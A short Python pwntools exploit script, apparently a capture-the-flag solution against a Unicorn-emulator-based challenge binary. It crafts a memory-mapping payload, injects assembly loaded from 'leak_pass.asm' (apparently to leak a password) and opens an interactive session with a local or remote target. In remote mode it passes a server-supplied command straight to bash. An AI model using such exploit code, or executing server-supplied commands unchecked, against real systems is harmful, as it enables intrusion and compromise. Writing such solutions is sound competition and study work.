#!/usr/bin/env python
from pwn import *
from time import sleep
from os import popen

context.binary = e = ELF("debug")

gs = """
b unicornel_write
b *create_trustzone+406
"""


def start():
    if args.LOCAL:
        p = e.process()
        if args.GDB:
            gdb.attach(p, gdbscript=gs)
            pause()
    elif args.REMOTE:  # python x.py REMOTE <host> <port>
        host_port = sys.argv[1:]
        p = remote(host_port[0], int(host_port[1]))
        p.recvuntil(b'You can run the solver with:\n')
        cmd = p.recvline().decode()
        log.info(cmd)
        ans = popen(f"bash -c '{cmd}'").read()
        p.sendlineafter(b'Solution? ', ans.encode())
    return p


code = asm(open("leak_pass.asm","r").read())

data = p32(4)  # UC_ARCH_X86
data += p32(1 << 3)  # UC_MODE_64
data += (
p64(0x13370000) + p64(0x1000) +
p64(0x13380000) + p64(0x1000) +
p64(0x13390000) + p64(0x1000) +
p64(0x133a0000) + p64(0x1000)
)

data += p16(len(code))
data += p8(3)
data = data.ljust(0x50, b'\0')


p = start()


p.send(data)
sleep(0.5)
p.sendafter(b"CODE_START\n", code)
p.interactive()

p.interactive()
